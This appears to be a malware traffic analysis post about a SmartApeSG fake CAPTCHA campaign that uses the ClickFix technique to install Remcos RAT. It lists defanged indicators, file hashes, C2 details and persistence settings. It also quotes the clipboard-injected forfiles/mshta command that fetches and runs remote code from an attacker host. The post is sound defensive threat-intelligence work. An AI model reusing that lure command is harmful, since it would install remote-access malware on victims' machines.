2026-01-06 (TUESDAY): SMARTAPESG CAPTCHA PAGE USES CLICKFIX TECHNIQUE FOR REMCOS RAT

NOTICE:

• Zip files are password-protected.  Of note, this site has a new password scheme.  For the password, see the "about" page of this website.

ASSOCIATED FILES:

• 2026-01-06-IOCs-for-SmartApeSG-ClickFix-to-Remcos-RAT.txt.zip   1.2 kB   (1,224 bytes)
• 2026-01-06-SmartApeSG-ClickFix-for-Remcos-RAT.pcap.zip   56.9 MB   (56,932,975 bytes)
• 2026-01-06-SmartApeSG-files.zip   41.1 MB   (41,083,107 bytes)

2026-01-06 (TUESDAY): SMARTAPESG CAPTCHA PAGE USES CLICKFIX TECHNIQUE FOR REMCOS RAT

LEGITIMATE BUT COMPROMISED SITE:

- [information removed]

INJECTED SMARTAPESG SCRIPT:

- hxxps[:]//dinozozo[.]com/menu.js

TRAFFIC FOR SMARTAPESG FAKE CAPTCHA PAGE:

- hxxps[:]//pippyheydguide[.]com/redirect/profile-script.js
- hxxps[:]//pippyheydguide[.]com/redirect/middleware-service.php?gvefGY13
- hxxps[:]//pippyheydguide[.]com/redirect/middleware-effect.js?2718cdb882b4f057aa

CLICKFIX SCRIPT INJECTED INTO CLIPBOARD:

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /c start mshta hxxp[:]//193.111.208[.]238/auth"

TRAFFIC GENERATED BY CLICKFIX SCRIPT:

- hxxp[:]//193.111.208[.]238/auth [301 Moved Permanently]
- hxxps[:]//lpiaretes[.]com/auth

- hxxp[:]//193.111.208[.]238/byte [301 Moved Permanently]
- hxxps[:]//lpiaretes[.]com/byte

DOWNLOADED PACKAGE FOR REMCOS RAT:

- SHA256 hash: bcf13c1e79ebffba07dcc635c05a5d2f826fe75b4e69f7541b6ce6af4a5e31c0
- File size: 41,523,044 bytes
- File type: Zip archive data, at least v2.0 to extract, compression method=deflate
- Retrieved from: hxxps[:]//lpiaretes[.]com/byte
- Example of saved file location: C:\Users\[username]\AppData\Local\230061.pdf
- Note: the 6-digit number used in the saved file location is unique for each infection

REMCOS RAT CHARACTERISTICS:

- Post-infection HTTPS C2 traffic to 192.144.56.80:443 (self-signed certificate)
- Remcos RAT package uses DLL side-loading with a legitimate EXE.
- Made persistent through both a scheduled task and a Windows registry update
  -- Task and registry update name: Intel PLLQ Components
  -- Command: C:\Users\[username]\AppData\Local\230061\mega_altpllq.exe
  

IMAGES

Shown above:  Example of a legitimate but compromised site showing the SmartApeSG fake CAPTCHA page.

Shown above:  HTTPS URLs from the infection run.

Shown above:  Traffic from an infection filtered in Wireshark.

Shown above:  Remcos RAT infection persistent on an infected Windows host.

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